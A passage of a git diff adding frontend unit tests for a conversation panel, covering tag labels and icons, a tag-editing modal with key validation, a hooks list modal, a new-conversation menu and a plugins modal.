+ ["worktools", ""],
+ ]);
+ });
+});
+
+describe("getConversationTagLabelKind", () => {
+ it.each([
+ ["git_provider", "git"],
+ // `origin` / `source` name where a conversation came from (Slack, an API
+ // call, an automation), which is not a git fact — they stay "other" and
+ // humanize to "Origin" / "Source".
+ ["origin", "other"],
+ ["source", "other"],
+ ["repo_name", "repo"],
+ ["selected_branch", "branch"],
+ ["archiveworkspacepath", "workspace"],
+ ["Appmode", "app_mode"],
+ ["worktools", "work_tools"],
+ ["Workwsid", "work_wsid"],
+ ["owner", "other"],
+ ] as const)("maps %s → %s", (key, kind) => {
+ expect(getConversationTagLabelKind(key)).toBe(kind);
+ });
+});
+
+describe("getConversationTagLabel", () => {
+ const t = (key: I18nKey) => {
+ switch (key) {
+ case I18nKey.CONVERSATION_PANEL$PREVIEW_GIT:
+ return "Git";
+ case I18nKey.CONVERSATION_PANEL$PREVIEW_REPO:
+ return "Repo";
+ case I18nKey.CONVERSATION_PANEL$PREVIEW_BRANCH:
+ return "Branch";
+ case I18nKey.CONVERSATION_PANEL$PREVIEW_WORKSPACE:
+ return "Workspace";
+ case I18nKey.CONVERSATION_PANEL$PREVIEW_APP_MODE:
+ return "App mode";
+ case I18nKey.CONVERSATION_PANEL$PREVIEW_WORK_TOOLS:
+ return "Work tools";
+ case I18nKey.CONVERSATION_PANEL$PREVIEW_WORK_WSID:
+ return "Workspace ID";
+ default:
+ return String(key);
+ }
+ };
+
+ it("uses localized labels for known keys instead of wire names", () => {
+ expect(getConversationTagLabel("selected_branch", t)).toBe("Branch");
+ expect(getConversationTagLabel("repo_name", t)).toBe("Repo");
+ expect(getConversationTagLabel("archiveworkspacepath", t)).toBe(
+ "Workspace",
+ );
+ expect(getConversationTagLabel("Appmode", t)).toBe("App mode");
+ expect(getConversationTagLabel("worktools", t)).toBe("Work tools");
+ expect(getConversationTagLabel("Workwsid", t)).toBe("Workspace ID");
+ expect(formatConversationTagTooltip("selected_branch", "main", t)).toBe(
+ "Branch: main",
+ );
+ });
+
+ it("humanizes unknown snake_case keys", () => {
+ expect(humanizeConversationTagKey("my_custom_tag")).toBe("My custom tag");
+ expect(getConversationTagLabel("owner", t)).toBe("Owner");
+ });
+
+ it("shows the label alone for bare tags (empty value)", () => {
+ expect(formatConversationTagTooltip("work", "", t)).toBe("Work");
+ });
+
+ it("labels origin and source by their own names, not Git", () => {
+ expect(getConversationTagLabel("origin", t)).toBe("Origin");
+ expect(getConversationTagLabel("source", t)).toBe("Source");
+ expect(formatConversationTagTooltip("origin", "slack", t)).toBe(
+ "Origin: slack",
+ );
+ // The git host stamp keeps the Git label.
+ expect(getConversationTagLabel("git_provider", t)).toBe("Git");
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-tag-icons.test.ts b/__tests__/components/features/conversation-panel/conversation-tag-icons.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d788725a076dca9f3cfa516b44460484f51084c1
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-tag-icons.test.ts
@@ -0,0 +1,53 @@
+import { describe, expect, it } from "vitest";
+import {
+ Briefcase,
+ CircleUserRound,
+ CloudCog,
+ Folder,
+ FolderGit2,
+ FolderKey,
+ GitBranch,
+ House,
+ Layers,
+ Tag,
+ Waypoints,
+ Wrench,
+} from "lucide-react";
+import { FaGithub } from "react-icons/fa6";
+import SlackIcon from "#/icons/slack.svg?react";
+import { getConversationTagIcon } from "#/components/features/conversation-panel/conversation-card/conversation-tag-icons";
+
+describe("getConversationTagIcon", () => {
+ it("maps known keys to related icons", () => {
+ expect(getConversationTagIcon("owner", "alice")).toBe(CircleUserRound);
+ expect(getConversationTagIcon("env", "prod")).toBe(CloudCog);
+ expect(getConversationTagIcon("repo_name", "org/repo")).toBe(FolderGit2);
+ expect(getConversationTagIcon("selected_branch", "main")).toBe(GitBranch);
+ expect(
+ getConversationTagIcon("archiveworkspacepath", "/workspace/project"),
+ ).toBe(Folder);
+ expect(getConversationTagIcon("worktools", "browser")).toBe(Wrench);
+ expect(
+ getConversationTagIcon("Workwsid", "cad8995a71e54b12b156d1d153be062f"),
+ ).toBe(FolderKey);
+ });
+
+ it("uses mode-specific icons for Appmode values", () => {
+ expect(getConversationTagIcon("Appmode", "work")).toBe(Briefcase);
+ expect(getConversationTagIcon("app_mode", "personal")).toBe(House);
+ expect(getConversationTagIcon("mode", "custom")).toBe(Layers);
+ });
+
+ it("prefers source brand icons for origin and git_provider values", () => {
+ expect(getConversationTagIcon("origin", "slack")).toBe(SlackIcon);
+ expect(getConversationTagIcon("git_provider", "GitHub")).toBe(FaGithub);
+ });
+
+ it("falls back to the key icon for unknown sources", () => {
+ expect(getConversationTagIcon("origin", "custom-bot")).toBe(Waypoints);
+ });
+
+ it("falls back to Tag for unrecognized keys", () => {
+ expect(getConversationTagIcon("mystery", "value")).toBe(Tag);
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/edit-conversation-tags-modal.test.tsx b/__tests__/components/features/conversation-panel/edit-conversation-tags-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2264ab5cddcfbc499c9efdd46b07d46d37c8ef79
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/edit-conversation-tags-modal.test.tsx
@@ -0,0 +1,315 @@
+import { describe, it, expect, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { EditConversationTagsModal } from "#/components/features/conversation-panel/edit-conversation-tags-modal";
+
+describe("EditConversationTagsModal", () => {
+ it("renders the current user-facing tags as rows and hides reserved keys", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByTestId("edit-tag-row-origin")).toBeInTheDocument();
+ expect(screen.getByTestId("edit-tag-row-owner")).toBeInTheDocument();
+ // Reserved/internal keys are untouchable — no row for them. Automation
+ // provenance stays out too, so a user can't edit (or spoof) it.
+ expect(
+ screen.queryByTestId("edit-tag-row-acpserver"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("edit-tag-row-automationname"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("adds a new tag and confirms with the merged map preserving reserved tags", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await user.type(screen.getByTestId("new-tag-key-input"), "owner");
+ await user.type(screen.getByTestId("new-tag-value-input"), "alice");
+ await user.click(screen.getByTestId("add-tag-button"));
+
+ expect(screen.getByTestId("edit-tag-row-owner")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("confirm-button"));
+
+ expect(onConfirm).toHaveBeenCalledWith({
+ // The internal tag survives the replace-all PATCH untouched.
+ acpserver: "claude-code",
+ origin: "slack",
+ owner: "alice",
+ });
+ });
+
+ it("removes a tag row and omits it from the confirmed map", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await user.click(screen.getByTestId("remove-tag-owner"));
+
+ expect(screen.queryByTestId("edit-tag-row-owner")).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("confirm-button"));
+
+ expect(onConfirm).toHaveBeenCalledWith({ origin: "slack" });
+ });
+
+ it("blocks keys that violate the backend rule (lowercase alphanumeric only)", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await user.type(screen.getByTestId("new-tag-key-input"), "Bad Key!");
+ await user.type(screen.getByTestId("new-tag-value-input"), "x");
+ await user.click(screen.getByTestId("add-tag-button"));
+
+ expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+ "CONVERSATION$TAG_KEY_INVALID",
+ );
+ expect(screen.queryByTestId("edit-tags-rows")).not.toBeInTheDocument();
+
+ // Save does not paper over the rejected input by discarding it — the
+ // error stands and the modal stays open until the key is fixed or cleared.
+ await user.click(screen.getByTestId("confirm-button"));
+ expect(onConfirm).not.toHaveBeenCalled();
+ expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+ "CONVERSATION$TAG_KEY_INVALID",
+ );
+
+ await user.clear(screen.getByTestId("new-tag-key-input"));
+ await user.clear(screen.getByTestId("new-tag-value-input"));
+ await user.click(screen.getByTestId("confirm-button"));
+ expect(onConfirm).toHaveBeenCalledWith({});
+ });
+
+ it("blocks reserved keys and over-long values", async () => {
+ const user = userEvent.setup();
+ renderWithProviders(
+ ,
+ );
+
+ // Reserved key: allowed by the regex but untouchable by the user.
+ await user.type(screen.getByTestId("new-tag-key-input"), "acpserver");
+ await user.type(screen.getByTestId("new-tag-value-input"), "x");
+ await user.click(screen.getByTestId("add-tag-button"));
+ expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+ "CONVERSATION$TAG_KEY_RESERVED",
+ );
+
+ // Automation provenance keys are reserved too: a user-added
+ // ``automationname`` would flip ``isAutomationConversation``.
+ await user.clear(screen.getByTestId("new-tag-key-input"));
+ await user.clear(screen.getByTestId("new-tag-value-input"));
+ await user.type(screen.getByTestId("new-tag-key-input"), "automationname");
+ await user.type(screen.getByTestId("new-tag-value-input"), "x");
+ await user.click(screen.getByTestId("add-tag-button"));
+ expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+ "CONVERSATION$TAG_KEY_RESERVED",
+ );
+
+ // Value over the 256-char backend cap.
+ await user.clear(screen.getByTestId("new-tag-key-input"));
+ await user.type(screen.getByTestId("new-tag-key-input"), "owner");
+ await user.type(screen.getByTestId("new-tag-value-input"), "v".repeat(257));
+ await user.click(screen.getByTestId("add-tag-button"));
+ expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+ "CONVERSATION$TAG_VALUE_INVALID",
+ );
+
+ expect(screen.queryByTestId("edit-tags-rows")).not.toBeInTheDocument();
+ });
+
+ it("treats an empty value as a bare tag and renders just the key", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await user.type(screen.getByTestId("new-tag-key-input"), "work");
+ await user.click(screen.getByTestId("add-tag-button"));
+
+ const row = screen.getByTestId("edit-tag-row-work");
+ expect(row).toHaveTextContent("work");
+ expect(row).not.toHaveTextContent("=");
+
+ await user.click(screen.getByTestId("confirm-button"));
+ expect(onConfirm).toHaveBeenCalledWith({ work: "" });
+ });
+
+ it("lets a bare tag be removed (merge must not resurrect it)", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ // The bare tag is listed alongside valued tags…
+ expect(screen.getByTestId("edit-tag-row-work")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("remove-tag-work"));
+ await user.click(screen.getByTestId("confirm-button"));
+
+ // …and its removal sticks — only the reserved tag is preserved.
+ expect(onConfirm).toHaveBeenCalledWith({ acpserver: "claude-code" });
+ });
+
+ it("adds the tag when Enter is pressed in either input", async () => {
+ const user = userEvent.setup();
+ renderWithProviders(
+ ,
+ );
+
+ // Enter in the value input.
+ await user.type(screen.getByTestId("new-tag-key-input"), "owner");
+ await user.type(screen.getByTestId("new-tag-value-input"), "alice{Enter}");
+ expect(screen.getByTestId("edit-tag-row-owner")).toBeInTheDocument();
+ // Focus returns to the key box for the next tag, not the value box.
+ expect(screen.getByTestId("new-tag-key-input")).toHaveFocus();
+
+ // Enter in the key input (bare tag).
+ await user.type(screen.getByTestId("new-tag-key-input"), "work{Enter}");
+ expect(screen.getByTestId("edit-tag-row-work")).toBeInTheDocument();
+ });
+
+ it("commits a typed-but-unadded tag when Save is pressed", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ // Typing a tag and going straight for Save is the natural flow — Add is an
+ // affordance for entering several, not a toll on entering one. Dropping
+ // the pending row here loses work with no warning.
+ await user.type(screen.getByTestId("new-tag-key-input"), "owner");
+ await user.type(screen.getByTestId("new-tag-value-input"), "alice");
+ await user.click(screen.getByTestId("confirm-button"));
+
+ expect(onConfirm).toHaveBeenCalledWith({
+ acpserver: "claude-code",
+ owner: "alice",
+ });
+ });
+
+ it("commits a typed-but-unadded bare tag when Save is pressed", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await user.type(screen.getByTestId("new-tag-key-input"), "work");
+ await user.click(screen.getByTestId("confirm-button"));
+
+ expect(onConfirm).toHaveBeenCalledWith({ work: "" });
+ });
+
+ it("blocks Save on an invalid pending tag instead of dropping it", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await user.type(screen.getByTestId("new-tag-key-input"), "My Project");
+ await user.click(screen.getByTestId("confirm-button"));
+
+ expect(screen.getByTestId("edit-tags-error")).toBeInTheDocument();
+ expect(onConfirm).not.toHaveBeenCalled();
+ // The typed text survives so it can be corrected.
+ expect(screen.getByTestId("new-tag-key-input")).toHaveValue("My Project");
+ });
+
+ it("blocks Save when a value was typed without a key", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await user.type(screen.getByTestId("new-tag-value-input"), "alice");
+ await user.click(screen.getByTestId("confirm-button"));
+
+ expect(screen.getByTestId("edit-tags-error")).toBeInTheDocument();
+ expect(onConfirm).not.toHaveBeenCalled();
+ });
+
+ it("saves normally when both inputs are empty", async () => {
+ const user = userEvent.setup();
+ const onConfirm = vi.fn();
+ renderWithProviders(
+ ,
+ );
+
+ await user.click(screen.getByTestId("confirm-button"));
+
+ expect(onConfirm).toHaveBeenCalledWith({ origin: "slack" });
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/hooks-modal.test.tsx b/__tests__/components/features/conversation-panel/hooks-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8624b8ef7ac61090ca05a08da5fec71006ca1864
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/hooks-modal.test.tsx
@@ -0,0 +1,303 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import React from "react";
+import { HookEventItem } from "#/components/features/conversation-panel/hook-event-item";
+import { HooksEmptyState } from "#/components/features/conversation-panel/hooks-empty-state";
+import { HooksLoadingState } from "#/components/features/conversation-panel/hooks-loading-state";
+import { HooksModalHeader } from "#/components/features/conversation-panel/hooks-modal-header";
+import { HookEvent } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+// Mock react-i18next
+vi.mock("react-i18next", async () => {
+ const actual = await vi.importActual("react-i18next");
+ return {
+ ...actual,
+ useTranslation: () => ({
+ t: (key: string, params?: Record) => {
+ if (key === "HOOKS_MODAL$HOOK_COUNT") {
+ const count = Number(params?.count ?? 0);
+ return count === 1 ? `${count} hook` : `${count} hooks`;
+ }
+
+ const translations: Record = {
+ HOOKS_MODAL$TITLE: "Available Hooks",
+ HOOKS_MODAL$WARNING: "Hooks warning text",
+ HOOKS_MODAL$EVENT_PRE_TOOL_USE: "Pre Tool Use",
+ HOOKS_MODAL$EVENT_POST_TOOL_USE: "Post Tool Use",
+ HOOKS_MODAL$EVENT_USER_PROMPT_SUBMIT: "User Prompt Submit",
+ HOOKS_MODAL$EVENT_SESSION_START: "Session Start",
+ HOOKS_MODAL$EVENT_SESSION_END: "Session End",
+ HOOKS_MODAL$EVENT_STOP: "Stop",
+ HOOKS_MODAL$MATCHER: "Matcher",
+ HOOKS_MODAL$COMMANDS: "Commands",
+ HOOKS_MODAL$TYPE: `Type: ${params?.type ?? ""}`,
+ HOOKS_MODAL$TIMEOUT: `Timeout: ${params?.timeout ?? 0}s`,
+ HOOKS_MODAL$ASYNC: "Async",
+ COMMON$FETCH_ERROR: "Failed to fetch data",
+ CONVERSATION$NO_HOOKS: "No hooks configured",
+ BUTTON$REFRESH: "Refresh",
+ BUTTON$CLOSE: "Close",
+ };
+ return translations[key] || key;
+ },
+ i18n: {
+ changeLanguage: () => new Promise(() => {}),
+ },
+ }),
+ };
+});
+
+describe("HooksLoadingState", () => {
+ it("should render loading spinner", () => {
+ render( );
+ const spinner = document.querySelector(".animate-spin");
+ expect(spinner).toBeInTheDocument();
+ });
+});
+
+describe("HooksEmptyState", () => {
+ it("should render no hooks message when not error", () => {
+ render( );
+ expect(screen.getByText("No hooks configured")).toBeInTheDocument();
+ });
+
+ it("should render error message when isError is true", () => {
+ render( );
+ expect(screen.getByText("Failed to fetch data")).toBeInTheDocument();
+ });
+});
+
+describe("HooksModalHeader", () => {
+ const defaultProps = {
+ isLoading: false,
+ isRefetching: false,
+ onRefresh: vi.fn(),
+ onClose: vi.fn(),
+ };
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("should render title and warning", () => {
+ render( );
+ expect(screen.getByText("Available Hooks")).toBeInTheDocument();
+ expect(screen.getByText("Hooks warning text")).toBeInTheDocument();
+ });
+
+ it("should render icon-only refresh button with accessible label", () => {
+ render( );
+ const refreshButton = screen.getByTestId("refresh-hooks");
+ expect(refreshButton).toBeInTheDocument();
+ expect(refreshButton).toHaveAttribute("aria-label", "Refresh");
+ expect(refreshButton).not.toHaveTextContent("Refresh");
+ });
+
+ it("should render close button", () => {
+ render( );
+ expect(screen.getByTestId("close-hooks-modal")).toBeInTheDocument();
+ });
+
+ it("should call onRefresh when refresh button is clicked", async () => {
+ const user = userEvent.setup();
+ const onRefresh = vi.fn();
+ render( );
+
+ await user.click(screen.getByTestId("refresh-hooks"));
+ expect(onRefresh).toHaveBeenCalledTimes(1);
+ });
+
+ it("should call onClose when close button is clicked", async () => {
+ const user = userEvent.setup();
+ const onClose = vi.fn();
+ render( );
+
+ await user.click(screen.getByTestId("close-hooks-modal"));
+ expect(onClose).toHaveBeenCalledTimes(1);
+ });
+
+ it("should disable refresh button when loading", () => {
+ render( );
+ expect(screen.getByTestId("refresh-hooks")).toBeDisabled();
+ });
+
+ it("should disable refresh button when refetching", () => {
+ render( );
+ expect(screen.getByTestId("refresh-hooks")).toBeDisabled();
+ });
+});
+
+describe("HookEventItem", () => {
+ const mockHookEvent: HookEvent = {
+ event_type: "stop",
+ matchers: [
+ {
+ matcher: "*",
+ hooks: [
+ {
+ type: "command",
+ command: ".openhands/hooks/on_stop.sh",
+ timeout: 30,
+ async: true,
+ },
+ ],
+ },
+ ],
+ };
+
+ const defaultProps = {
+ hookEvent: mockHookEvent,
+ isExpanded: false,
+ onToggle: vi.fn(),
+ };
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ it("should render event type label using i18n", () => {
+ render( );
+ expect(screen.getByText("Stop")).toBeInTheDocument();
+ });
+
+ it("should render hook count", () => {
+ render( );
+ expect(screen.getByText("1 hook")).toBeInTheDocument();
+ });
+
+ it("should call onToggle when clicked", async () => {
+ const user = userEvent.setup();
+ const onToggle = vi.fn();
+ render( );
+
+ await user.click(screen.getByRole("button"));
+ expect(onToggle).toHaveBeenCalledWith("stop");
+ });
+
+ it("should show collapsed state by default", () => {
+ render( );
+ expect(screen.queryByText("*")).not.toBeInTheDocument();
+ });
+
+ it("should show expanded state with matcher content", () => {
+ render( );
+ expect(screen.getByText("*")).toBeInTheDocument();
+ });
+
+ it("should render async badge for async hooks", () => {
+ render( );
+ expect(screen.getByText("Async")).toBeInTheDocument();
+ });
+
+ it("should render different event types with correct i18n labels", () => {
+ const eventTypes = [
+ { type: "pre_tool_use", label: "Pre Tool Use" },
+ { type: "post_tool_use", label: "Post Tool Use" },
+ { type: "user_prompt_submit", label: "User Prompt Submit" },
+ { type: "session_start", label: "Session Start" },
+ { type: "session_end", label: "Session End" },
+ { type: "stop", label: "Stop" },
+ ];
+
+ eventTypes.forEach(({ type, label }) => {
+ const { unmount } = render(
+ ,
+ );
+ expect(screen.getByText(label)).toBeInTheDocument();
+ unmount();
+ });
+ });
+
+ it("should fallback to event_type when no i18n key exists", () => {
+ render(
+ ,
+ );
+ expect(screen.getByText("unknown_event")).toBeInTheDocument();
+ });
+
+ it("should not crash when a matcher has undefined hooks", () => {
+ const hookEventWithUndefinedHooks: HookEvent = {
+ event_type: "stop",
+ matchers: [
+ {
+ matcher: "*",
+ hooks: undefined,
+ },
+ ],
+ };
+
+ expect(() =>
+ render(
+ ,
+ ),
+ ).not.toThrow();
+
+ expect(screen.getByText("0 hooks")).toBeInTheDocument();
+ });
+
+ it("should not crash when a matcher has undefined hooks in expanded state", () => {
+ const hookEventWithUndefinedHooks: HookEvent = {
+ event_type: "stop",
+ matchers: [
+ {
+ matcher: "*",
+ hooks: undefined,
+ },
+ ],
+ };
+
+ expect(() =>
+ render(
+ ,
+ ),
+ ).not.toThrow();
+ });
+
+ it("should handle a mix of matchers with and without hooks", () => {
+ const mixedHookEvent: HookEvent = {
+ event_type: "pre_tool_use",
+ matchers: [
+ {
+ matcher: "terminal",
+ hooks: [
+ {
+ type: "command",
+ command: "check.sh",
+ timeout: 10,
+ },
+ ],
+ },
+ {
+ matcher: "browser",
+ hooks: undefined,
+ },
+ ],
+ };
+
+ expect(() =>
+ render(
+ ,
+ ),
+ ).not.toThrow();
+
+ expect(screen.getByText("1 hook")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx b/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d389247cdcdef5f1012d1c7dfcf78adab01edcc4
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx
@@ -0,0 +1,261 @@
+import { screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { renderWithProviders } from "test-utils";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import WorkspacesService from "#/api/workspaces-service/workspaces-service.api";
+import { LocalNewConversationMenu } from "#/components/features/conversation-panel/local-new-conversation-menu";
+import { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace";
+
+const { mockSearchSubdirectories } = vi.hoisted(() => ({
+ mockSearchSubdirectories: vi.fn(),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+ useTracking: () => ({
+ trackConversationCreated: vi.fn(),
+ }),
+}));
+
+vi.mock("@openhands/typescript-client/clients", async () => {
+ const actual = await vi.importActual<
+ typeof import("@openhands/typescript-client/clients")
+ >("@openhands/typescript-client/clients");
+ return {
+ ...actual,
+ FileClient: vi.fn(function FileClientMock() {
+ return { searchSubdirectories: mockSearchSubdirectories };
+ }),
+ };
+});
+
+vi.mock(
+ "#/components/features/home/workspace-dropdown/folder-browser-modal",
+ () => ({
+ FolderBrowserModal: ({ isOpen }: { isOpen: boolean }) =>
+ isOpen ?
: null,
+ }),
+);
+
+vi.mock(
+ "#/components/features/home/workspace-dropdown/manage-workspaces-modal",
+ () => ({
+ ManageWorkspacesModal: ({ isOpen }: { isOpen: boolean }) =>
+ isOpen ?
: null,
+ }),
+);
+
+const makeStartTask = (conversationId: string) => ({
+ id: "task-id",
+ created_by_user_id: null,
+ status: "READY" as const,
+ detail: null,
+ app_conversation_id: conversationId,
+ agent_server_url: "http://agent-server.local",
+ request: {
+ initial_message: null,
+ processors: [],
+ llm_model: null,
+ selected_repository: null,
+ selected_branch: null,
+ git_provider: "github" as const,
+ suggested_task: null,
+ title: null,
+ trigger: null,
+ pr_number: [],
+ parent_conversation_id: null,
+ agent_type: "default" as const,
+ },
+ created_at: new Date().toISOString(),
+ updated_at: new Date().toISOString(),
+});
+
+const renderMenu = ({
+ workspaces = [],
+ workspaceParents = [],
+ navigate,
+}: {
+ workspaces?: LocalWorkspace[];
+ workspaceParents?: LocalWorkspaceParent[];
+ navigate?: (to: string) => void;
+} = {}) => {
+ vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({
+ workspaces,
+ workspaceParents,
+ });
+ return renderWithProviders(
+ (
+
+ + New conversation
+
+ )}
+ />,
+ { navigation: { navigate, currentPath: "/conversations" } },
+ );
+};
+
+describe("LocalNewConversationMenu", () => {
+ beforeEach(() => {
+ mockSearchSubdirectories.mockReset();
+ mockSearchSubdirectories.mockResolvedValue({
+ items: [],
+ next_page_id: null,
+ });
+ });
+
+ afterEach(() => {
+ vi.restoreAllMocks();
+ });
+
+ it("shows a divider above the workspace footer actions", async () => {
+ const user = userEvent.setup();
+ renderMenu();
+
+ await user.click(screen.getByTestId("new-conversation-button"));
+
+ expect(
+ screen.getByTestId("new-conversation-menu-footer-divider"),
+ ).toBeInTheDocument();
+ });
+
+ it("toggles the popover and dismisses it on outside click", async () => {
+ // Arrange
+ renderMenu();
+ const user = userEvent.setup();
+
+ // Act + Assert: open
+ await user.click(screen.getByTestId("new-conversation-button"));
+ expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument();
+
+ // Act + Assert: outside click closes
+ await user.click(document.body);
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("new-conversation-popover"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("dismisses the popover on Escape", async () => {
+ // Arrange
+ renderMenu();
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("new-conversation-button"));
+ expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument();
+
+ // Act
+ await user.keyboard("{Escape}");
+
+ // Assert
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("new-conversation-popover"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("launches a conversation for the selected workspace", async () => {
+ // Arrange
+ const navigate = vi.fn();
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(makeStartTask("conv-123"));
+ renderMenu({
+ workspaces: [
+ {
+ id: "/workspace/project/repo1",
+ name: "repo1",
+ path: "/workspace/project/repo1",
+ },
+ ],
+ navigate,
+ });
+ const user = userEvent.setup();
+
+ // Act
+ await user.click(screen.getByTestId("new-conversation-button"));
+ await user.click(await screen.findByRole("button", { name: "repo1" }));
+
+ // Assert
+ await waitFor(() => {
+ expect(createSpy).toHaveBeenCalledWith({
+ metadata: null,
+ workingDirOverride: "/workspace/project/repo1",
+ });
+ });
+ await waitFor(() => {
+ expect(navigate).toHaveBeenCalledWith("/conversations/conv-123");
+ });
+ });
+
+ it("disables launch actions while a conversation is being created", async () => {
+ // Arrange
+ vi.spyOn(
+ AgentServerConversationService,
+ "createConversation",
+ ).mockImplementation(() => new Promise(() => {}));
+ renderMenu({
+ workspaces: [
+ {
+ id: "/workspace/project/repo1",
+ name: "repo1",
+ path: "/workspace/project/repo1",
+ },
+ ],
+ });
+ const user = userEvent.setup();
+
+ // Act
+ await user.click(screen.getByTestId("new-conversation-button"));
+ await user.click(screen.getByTestId("launch-no-workspace"));
+
+ // Assert
+ await waitFor(() => {
+ expect(screen.getByTestId("launch-no-workspace")).toBeDisabled();
+ expect(screen.getByTestId("launch-workspace")).toBeDisabled();
+ });
+ });
+
+ it("keeps the popover open while a workspace modal is open", async () => {
+ // Arrange — add-modal exercises the shared `keepPopoverOpenOnMouseDown`
+ // handler; manage-modal uses the same handler so we don't duplicate.
+ renderMenu();
+ const user = userEvent.setup();
+ await user.click(screen.getByTestId("new-conversation-button"));
+
+ // Act
+ await user.click(screen.getByTestId("add-workspaces-button"));
+
+ // Assert
+ expect(screen.getByTestId("folder-browser-modal")).toBeInTheDocument();
+ await user.click(document.body);
+ expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument();
+ });
+
+ it("keeps the popover open when conversation creation fails", async () => {
+ // Arrange
+ const navigate = vi.fn();
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockRejectedValue(new Error("create failed"));
+ renderMenu({ navigate });
+ const user = userEvent.setup();
+
+ // Act
+ await user.click(screen.getByTestId("new-conversation-button"));
+ await user.click(screen.getByTestId("launch-no-workspace"));
+
+ // Assert
+ await waitFor(() => {
+ expect(createSpy).toHaveBeenCalledTimes(1);
+ });
+ await waitFor(() => {
+ expect(screen.getByTestId("launch-no-workspace")).not.toBeDisabled();
+ });
+ expect(navigate).not.toHaveBeenCalled();
+ expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/plugins-modal.test.tsx b/__tests__/components/features/conversation-panel/plugins-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..46e88c6ed086f6be381a26c80b44ebd46c3b8d10
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/plugins-modal.test.tsx
@@ -0,0 +1,103 @@
+import { screen } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import {
+ removeStoredConversationMetadata,
+ setStoredConversationMetadata,
+} from "#/api/conversation-metadata-store";
+import { PluginsModal } from "#/components/features/conversation-panel/plugins-modal";
+
+const CONVERSATION_ID = "conv-plugins-modal";
+
+afterEach(() => removeStoredConversationMetadata(CONVERSATION_ID));
+
+function renderModal() {
+ return renderWithProviders( , {
+ navigation: { conversationId: CONVERSATION_ID },
+ });
+}
+
+describe("PluginsModal", () => {
+ it("lists the plugins attached to the conversation with their source and ref", () => {
+ setStoredConversationMetadata(CONVERSATION_ID, {
+ selected_repository: null,
+ selected_branch: null,
+ git_provider: null,
+ plugins: [
+ {
+ source: "github:OpenHands/extensions",
+ ref: "main",
+ repo_path: "plugins/city-weather",
+ },
+ ],
+ });
+
+ renderModal();
+
+ expect(
+ screen.getByTestId("active-plugin-city-weather"),
+ ).toBeInTheDocument();
+ expect(screen.getByText("OpenHands/extensions @ main")).toBeInTheDocument();
+ });
+
+ it("shows the plugin's name when the source is not a useful label", () => {
+ // A locally-installed plugin: the source ("local") can't be derived into a
+ // meaningful name, so the explicit name must be displayed.
